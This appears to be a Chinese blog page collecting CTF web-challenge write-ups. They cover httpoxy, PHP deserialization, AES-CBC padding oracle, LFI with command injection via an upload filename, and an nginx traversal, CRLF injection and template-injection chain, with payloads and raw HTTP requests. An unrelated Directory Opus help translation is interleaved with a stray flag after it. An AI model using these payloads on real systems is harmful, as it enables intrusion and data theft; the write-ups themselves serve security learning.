0%

V&N 2020公开赛的TimeTravel。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

用到了GuzzleHttp,是个HTTP库来着。如果GET传入flag,会访问127.0.0.1:5000/api/eligible,返回的JSON有{“success”:true}就读flag。GET传入file会任意读文件,GET传入phpinfo返回phpinfo()结果。

显然,直接读flag没可能,不会有那个权限,否则就不会再套层/readflag了。令我们好奇的是,他用了一个GuzzleHttp,显然这个库不是随便找的,一定有问题。

Google搜一下”guzzlehttp vuln”,排名第一的就告诉我们问题了,HTTP Request Redirection,又名httpoxy。直接搜就能搜到官网,简单来说,PHP等Web框架在CGI模式下运行时,会将传入的HTTP头当作CGI应用程序的环境变量,而对于PHP来说,它会使用getenv()获取环境变量,在php-fpm等CGI模式下会把HTTP头合并到$_SERVER数组中。因此,如果我们传入Proxy: 127.0.0.1,在PHP端的$_SERVER会导致出现$_SERVER[‘HTTP_PROXY’]赋值为’127.0.0.1’。而一部分的HTTP库会应用HTTP_PROXY变量作为代理,例如GuzzleHttp。也就是说,如果我们在访问页面时加上一个Proxy: 127.0.0.1:8080的HTTP头,GuzzleHttp访问时会把请求代理给127.0.0.1:8080。我们就有机会修改内容了。

不过要注意的是,CGI在传入HTTP头时,会添加HTTP_前缀,如HTTP_HOST。

本题完全符合条件,我们传入Proxy: XXX:YY,就会把对127.0.0.1:5000/api/eligible的请求转发到XXX:YY,我们再修改返回内容即可。

由于是BUUOJ环境,不能用外部服务器,我们用Linux Labs的nc来完成。

先用BurpSuite拦截请求

1
2
3
4
5
6
7
8
9
10
11
12
GET /?flag HTTP/1.1
Host: node3.buuoj.cn:26215
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Edg/83.0.478.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
DNT: 1
Connection: close
Proxy: 174.1.23.2:8080


Proxy地址指向Linux Labs的IP,上面用nc监听8080端口。在Linux Labs上修改返回包。

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Mon, 01 Jun 2020 01:30:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.23
Content-Length: 12

{"success":true}

就可以得到flag了。

flag{d00bc26f-ce1d-406b-8742-91079447e475}

闲来无事,翻译一下Directory Opus(以下简称DOpus)的帮助文档。这个软件还是蛮复杂的,想用好还是要多看文档。这是第一章:简介。

简介

欢迎使用DOpus,为Windows而设计的文件管理器。

DOpus的设计考虑了四个目标:

  • 使用简便。DOpus在默认配置下就像Windows资源管理器那样工作。您不必学习任何复杂的脚本编程或者非标准的点击方式。如果您使用资源管理器复制过文件,那么您已经学会如何在DOpus中复制了。
  • 可配置性。我们相信用户有权决定如何操作他们的电脑。您会发现DOpus的几乎所有方面都可以被修改:从工具栏上的图标到标识压缩文件的背景颜色。当然,您不必设置您不想要设置的选项,“开箱即用”的DOpus提供了一整套复杂的命令集来让您完成绝大部分的文件管理工作而不必修改设置。
  • 运行效率。DOpus尽可能地高效工作。整个程序使用多线程技术来确保您不必需要等待一项任务结束后再进行其他任务。
  • 兼容性。作为Windows资源管理器的替代品,很重要的一点是DOpus像Windows资源管理器一样出现在系统中。在Microsoft设置的限制范围内,DOpus实现了这一目标,大多数只为Windows资源管理器编写的软件在安装Opus后仍可以正常工作。

不可否认,DOpus是一个复杂的产品。从1989年DOpus出现在Amiga计算机上开始,跨越两个平台和十二个主要修订版,DOpus在用户提供的数千条建议中不断发展。 当您开始探索Opus时,可能会因众多可用选项而感到畏惧,您不必害怕。请不要将Opus视为必须学习的东西,而应将其视为可以探索的工具。

我们将DOpus归类为“生产力软件”,有些人对此描述表示怀疑,但实际上,如果您仔细想,对于需要使用大量计算机的人来说,很大一部分时间都花在了平凡的任务上,例如移动文件和文件夹,重命名文件,清理目录等。使用DOpus,您可以大大简化日常任务,花费在琐事上的时间更少,意味着可以挤出更多的时间提高工作效率!

在开始探索DOpus前,有一些提示可以帮助您解决问题:

  • 所有的工具栏图标和菜单命令都有弹出式工具提示。如果您想知道某个命令是干什么的,把鼠标放在上面等几秒就可以了。

  • “选项”和“自定义”对话框(绝大多数配置都在这里)在底部都有过滤栏,可以让您搜索与关键字匹配的选项。

  • 所有对话框都有上下文相关的帮助。 某些对话框(如“选项”)的右上角有一个帮助按钮,但在所有其他对话框中,您都可以按F1键以显示帮助。

  • 如果您有时间,请快速阅读本帮助文件“基本概念”部分中的主题。 DOpus支持与Windows资源管理器相同的基本文件管理概念,但“基础概念”一节介绍了一些可以真正帮助您充分利用DOpus的额外功能。

  • Opus Resource Centre包含了大量的提示、问答、教程、以及知识库。

感谢您使用Directory Opus!,我们希望您享受使用它的过程。

安装与注册

就像其他应用程序那样,DOpus使用业界标准的InstallShield安装向导来完成安装。双击安装程序即可开始。(通常叫做DOpusInstall.exe)
安装程序自身也是升级向导。它可以在新机器上安装DOpus,也可以覆盖旧有版本(升级时DOpus不会先行卸载旧版本,除非您想重置设置到出厂状态)。安装向导可同时在32位系统与64位系统中运行,并会自动安装匹配的DOpus版本。安装向导还同时适用于轻量版和专业版的DOpus,以及试用和已授权版本的DOpus。如果您获得了新的授权,您只需要安装授权本身(通过“证书管理器”),不需要重新安装整个程序。
DOpus安装结束后,您可以选择是否以及启动DOpus,安装向导也会在桌面上生成一个快捷方式。第一次运行DOpus时,“Directory Opus 初始化向导”会提问您几个小问题,帮助初始化DOpus。我们建议您选择默认选项,向导提及的所有选项都可以在“选项”对话框中设置。

其中有7个选项您需要在向导中设置,每页一个:

  • 语言。DOpus默认语言为英语,但您可以在这里切换到其他语言。也可以在“选项”对话框中的“显示/语言”中切换。(注:DOpus有一个中国特供版,仅可选择简体中文/繁体中文。)
  • 版本。DOpus有两个版本:轻量版和专业版。在试用阶段您可以切换到任意版本。购买授权后可在“证书管理器”中切换。查看GP Software网站以获得更多信息。
  • 启动时运行。选择此选项可使DOpus在Windows启动后自动运行。建议打开此选项,因为DOpus常驻内存后运行会更快:双击桌面打开新窗口或者使用像“Win+E”之类的快捷键几乎就是瞬时。也可以在“选项”对话框中的“DOpus启动/启动”中设置。
  • Windows资源管理器替代。如果您想让DOpus替代Windows资源管理器,请打开此选项。开启此选项后,双击桌面上的文件夹,或者其他会正常打开Windows资源管理器的操作,DOpus会代而行之。在“资源管理器替代”一页中有更多详细信息。也可以在“选项”对话框中的“DOpus启动/资源管理器替代”中修改。
  • FTP处理。开启此选项可使DOpus注册自身作为默认的FTP处理器。开启此选项后打开ftp://链接会在DOpus Lister中显示FTP站点信息,而不是在Web浏览器或者其他FTP客户端中打开。也可以在“选项”对话框中的“杂项/Windows整合/设置Directory Opus为默认的FTP站点处理程序”中设置。
  • ZIP处理。该选项打开后,DOpus会注册自身为默认的ZIP文件处理器。双击ZIP文件会在DOpus Lister中显示文件内容(您可以显示、解压、添加、删除文件)。也可以在“选项”对话框中的“Zip和其他压缩文件/Zip文件/设置内置Opus作为默认Zip文件处理程序”中设置。
  • 图片和声音双击处理。如果您启用该选项,双击一张图片或一份音频(DOpus认识的)会开启DOpus内置浏览器,而不是默认的处理器。这个选项不修改注册表中的任何信息,也不会修改文件的默认处理器,该选项仅在DOpus内部使用。也可以在“选项”对话框中的“文件操作/双击文件”中设置。

DOpus使用证书授权系统。您购买DOpus或者注册60天的试用版本时,您会收到一个小文件,那就是您的证书,其中包括DOpus注册信息,以及启用的功能、允许最大用户数、试用过期时间。为了激活您的DOpus副本,需要将其通过“证书管理器”安装。证书管理器在主程序运行一段时间后自动弹出,您也可以随时通过“帮助”菜单打开它。

DOpus自带一个特殊的证书叫做“默认试用证书”。这个证书允许您自第一次运行DOPus的30天内试用DOpus。在试用期间您可以通过切换版本命令随时切换专业版与轻量版。

如果您想要在30天后继续试用专业版,您可以通过“请求免费试用”按钮来注册。
{asset_img licman2.png 请求免费试用}
输入姓名和电子邮件地址后,点击注册,DOpus会自动与服务器联系下载试用证书。您可以通过网页申请试用。
如果您已购买DOpus,或通过网站申请到了试用版并收到了证书,双击打开证书即可安装。或者通过“安装新证书”按钮。

如果您将证书存为.txt或.opuscert格式,使用“导入”按钮。或者将其复制到剪贴板,使用“粘贴”按钮。
“获取”按钮适用于您之前已购买DOpus,通过提供注册码或者产品代码和注册时的电子邮件地址,从服务器上下载证书。您也可以在网页上找回证书。
最后一页是“注册产品编号”,产品编号由零售商分配,您可以从此页注册产品编号获得完整程序证书。也可以在网页上注册产品编号。

flag{719e64a5-ac17-41d0-94ba-c7f5931e617f}

2020网鼎杯青龙组的AreUSerialz。

上来给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

很简单,给了个FileHandler类,然后GET方式传序列化字符串。注意到返回的HTTP头里X-Powered-By为PHP/7.4.3,版本很高。

FileHandler类里有三个protected变量,$op决定是读还是写,为1则写文件,2则读文件并输出。但是有个__destruct,会把$op改为1。那么我们就要想办法绕过__destruct函数。同时,在$_GET传参的时候还有一个is_valid函数,判断传入的字符串是不是都在可见字符范围内。

我们翻PHP的文档,其中提到如果类中变量为private protected属性,会在序列化字符串中添加特殊标识\x00。因此正常序列化的字符串会被is_valid()检测。

后来在某篇文章中看到,PHP7.2以上版本反序列化时无视private protected关键字。那么我们直接用public声明变量就行了。

或者,我们可以用S代替s,参考这里,其中提到为了防止丢失%00字符。我们可以在反序列化字符串中用S插入16进制字符串。正常情况下我们的序列化字符串应为:O:11:"FileHandler":3:{s:5:"�*�op";i:2;s:11:"�*�filename";s:8:"flag.php";s:10:"�*�content";N;}。其中�为%00。我们可以改写为O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}。这样也可以绕过is_valid()。

最后,这题在BUUOJ上的环境和比赛 环境不一样。BUUOJ上我们可以直接读相对路径下的flag.php。但是比赛环境下我们还需要读/proc/self/cmdline,确认工作目录。

P.S.如果反序列化后类的元素个数与原始类的个数对不上,就会打断执行__destruct(),就像绕过__wakeup()一样。

flag{8eba897c-a688-444f-b0e0-63e9cab136ce}

NPUCTF 2020的Web🐕,很基础的AES CBC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<?php
error_reporting(0);
include('config.php'); # $key,$flag
define("METHOD", "aes-128-cbc"); //定义加密方式
define("SECRET_KEY", $key); //定义密钥
define("IV","6666666666666666"); //定义初始向量 16个6
define("BR",'<br>');
if(!isset($_GET['source']))header('location:./index.php?source=1');


#var_dump($GLOBALS); //听说你想看这个?
function aes_encrypt($iv,$data)
{
echo "--------encrypt---------".BR;
echo 'IV:'.$iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False');
}
if($_GET['method']=='encrypt')
{
$iv = IV;
$data = $flag;
echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
$iv = @$_POST['iv'];
$data = @$_POST['data'];
echo aes_decrypt($iv,$data);
}
echo "我摊牌了,就是懒得写前端".BR;

if($_GET['source']==1)highlight_file(__FILE__);
?>

允许我们加密或解密,加密会把$flag的内容加密显示,而解密时允许我们输入IV和密文,用相同的key解密。那么看起来我们可以直接decrypt了,然后发现并不行。注意到21行解密的时候后面还加了个or,当我们解密成功时or的左端为True,那么会直接返回True,参考这里。所以我们还拿不到明文。

然后发现它用的加密方式是AES CBC,那么就想到AES CBC的两种攻击手法:Padding Oracle和字节反转。Padding Oracle适合在不清楚key和IV的情况下解密密文,这就是我们要的。具体请参考这里。Padding Oracle的条件是能分辨正常解密和解密失败的情况,本题解密失败时会返回False,足够区分了。

flag{0e55ec5f-fdee-4455-96a3-20ebd390da59}

N1CTF 2018的Eating_CMS。

打开是个登录页面,登陆的时候会显示SQL语句。猜测有register.php,果然有,注册后登陆,显示新的页面。注意到URL为http://0008abbc-5e70-4d41-b1d7-7d161114c40b.node3.buuoj.cn/user.php?page=guest,试下LFI。user.php?page=/var/www/html/guest,发现可以正常访问,LFI没跑了。试下PHP Filter:user.php?page=php://filter/convert.base64-encode/resource=index,得到index.php的源码,然后扒下来已知文件。

index.php
1
2
3
4
5
6
7
8
9
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>
function.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}

function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}

function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}

function logout()
{
session_destroy();
Header("Location: index.php");
}

?>

user.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?>
register.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}

?>
info.php
1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/info.html";
?>

info.php里会include templates/info.html,打开后有个提示ffffllllaaaaggg.php,很明显的直接读源码是行不通的。看一下过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

parse_url函数解析URL,直接绕过。具体请参考这里http://d95fe231-c608-4167-98d0-6205f111a1ae.node3.buuoj.cn//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg。得到了ffffllllaaaaggg.php的内容

ffffllllaaaaggg.php
1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>

再读m4aaannngggeee文件。

1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";

?>

访问templates/upload.html后发现处理上传的文件是upllloadddd.php,接着读

upllloadddd.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

没有任何限制直接上传,同时醒目的system提示我们要命令注入。构造xxx.jpg|ls文件上传列目录。

然后就找flag了。注意一个问题,我们的输入会写入文件名,Linux下例如/这样的字符不能用在文件名上,所以不能直接xxx.jpg|ls /这样列根目录,迂回一下,用echo yyy| `base64 -d`这样执行命令。

flag{d0c7071f-f2b8-41e1-907f-ba8b00bd0a1b}

Codegate CTF 2020的renderer。给了Description:

It is my first flask project with nginx. Write your own message, and get flag!

http://XXXXXXX/renderer

同时给了两个附件:

settings/run.sh
1
2
3
4
5
6
7
8
9
10
service nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask

service nginx restart

uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &

/bin/bash
Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FROM python:2.7.16

ENV FLAG CODEGATE2020{**DELETED**}

RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi

ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf

ADD prob_src/static /home/static
RUN chmod 777 /home/static

RUN mkdir /home/tickets
RUN chmod 777 /home/tickets

ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh

ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh

CMD ["/bin/bash", "/home/run.sh"]

上来注意到的是给的是/renderer,而不是只有一个IP地址。直接访问IP地址后发现是Nginx服务器。那么很容易想到Nginx的不当配置导致路径穿越。打开页面后提示是个Proxy Server,SSRF没跑了。查看网页源代码发现引用了/static/css/renderer.css,那么我们试着访问/static../,果然路径穿越了,这样我们就可以扒下来所有源码了。

/home/src/uwsgi.ini
1
2
3
4
5
6
7
8
9
10
11
12
13
[uwsgi]
chdir = /home/src/
module = run
callable = app
processes = 4
uid = www-data
gid = www-data
socket = /tmp/renderer.sock
chmod-socket = 666
vacuum = true
daemonize = /tmp/uwsgi.log
die-on-term = true
pidfile = /tmp/renderer.pid
/home/src/run.py
1
2
3
4
5
6
7
8
9
10
from app import *
import sys

def main():
#TODO : disable debug
app.run(debug=False, host="0.0.0.0", port=8080)

if __name__ == '__main__':
main()

/home/src/app/routes.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from __future__ import print_function

from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib

from os import path
from urlparse import urlparse

import sys

front = Blueprint("renderer", __name__)

@front.before_request
def test():
print('!!!!', request.url, file=sys.stderr)

@front.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")

url = request.form.get("url")
res = proxy_read(url) if url else False
if not res:
abort(400)

return render_template("index.html", data = res)

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())

@front.route("/admin", methods=["GET"])
def admin_access():
ip = get_ip()
rip = get_real_ip()

if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)

if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)

else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
return render_template("admin_local.html", ticket = ticket)
else:
return render_template("admin_local.html", ticket = None)

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
print('!!!! admin_ticket()', file=sys.stderr)
ip = get_ip()
rip = get_real_ip()

if ip != rip: #proxy doesn't allow to show ticket
print('!!!!', 1, file=sys.stderr)
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print('!!!!', 2, file=sys.stderr)
abort(403)
if request.headers.get("User-Agent") != "AdminBrowser/1.337":
print('!!!!', request.headers.get("User-Agent"), file=sys.stderr)
abort(403)

if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print('!!!!', 4, file=sys.stderr)
abort(403)
return render_template_string(log)

def get_ip():
return request.remote_addr

def get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()

def proxy_read(url):
#TODO : implement logging

s = urlparse(url).scheme
if s not in ["http", "https"]: #sjgdmfRk akfRk
return ""

return urllib2.urlopen(url).read()

def write_log(rip):
print('!!!! write_log()', file=sys.stderr)
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)

return tid

def write_extend_log(rip, body):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
f.write(body)

return tid

def read_log(ticket):
print('!!!! read_log()', file=sys.stderr)

if not (ticket and ticket.isalnum()):
return False

if path.exists("/home/tickets/%s" % ticket):
with open("/home/tickets/%s" % ticket, "r") as f:
return f.read()
else:
return False
/home/src/app/__init__.py
1
2
3
4
5
6
7
8
from flask import Flask
from app import routes
import os

app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")

templates就不放了,在我Github上有完整的。

flag保存在Flask的config里,利用SSRF就可以拿到。那么SSRF在哪?admin_ticket()路由的最后一行render_template_string()很显眼,同时admin_local.html和admin_remote.html里都有一句 {% if ticket %}

Your access log is written with ticket no {{ ticket }}

{% endif %}
很明显SSRF了。下一步是怎么触发SSRF。admin_ticket()路由中会用get_ip()和get_real_ip()判断IP来源。get_real_ip()使用X-Forwarded-For头获取IP。没啥问题。

我们的目标很明显是要通过Proxy Service来访问/admin/ticket,直接在浏览器访问会由于访问IP不为127.0.0.1或127.0.0.2而403。但要成功访问/admin/ticket又需要设置User-Agent为AdminBrowser/1.337。我们可控的是X-Forwarded-For,也就是说我们需要一种方式影响HTTP头。

研究一下proxy_read(),发现是用的urllib2.urlopen()。搜一下“urllib2 vuln”,返回第一个页面就是这个,CRLF Injection。好极了,这个洞可以通过插入\r\n来任意插入新的HTTP头字段。那么,X-Forwarded-For和User-Agent就可以被插入了。

到现在,题目已经解决,攻击流程如下:

  1. 利用urllib2的漏洞,插入X-Forwarded-For: ,使Proxy Service访问/renderer/admin,生成ticket。
  2. 利用nginx的路径穿越,访问/static../tickets/,获得刚才的ticket文件名。
  3. 利用urllib2的漏洞,插入User-Agent: AdminBrowser/1.337,使Proxy Service访问/renderer/admin/ticket?ticket=刚才的文件名,渲染ticket,读出Flask的config,得到flag。

OK,Burp发包吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /renderer/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/renderer/
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: http://127.0.0.1
Connection: close
Cookie: confluence.browse.space.cookie=space-templates
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

url=http://127.0.0.1/renderer/admin HTTP/1.1%0d%0aX-Forwarded-For: %0d%0aTEST: 123

返回正常页面后访问/static../tickets/,得到文件名:fc75a14b624748a31ddd99ef984df7eaa6781aa9。
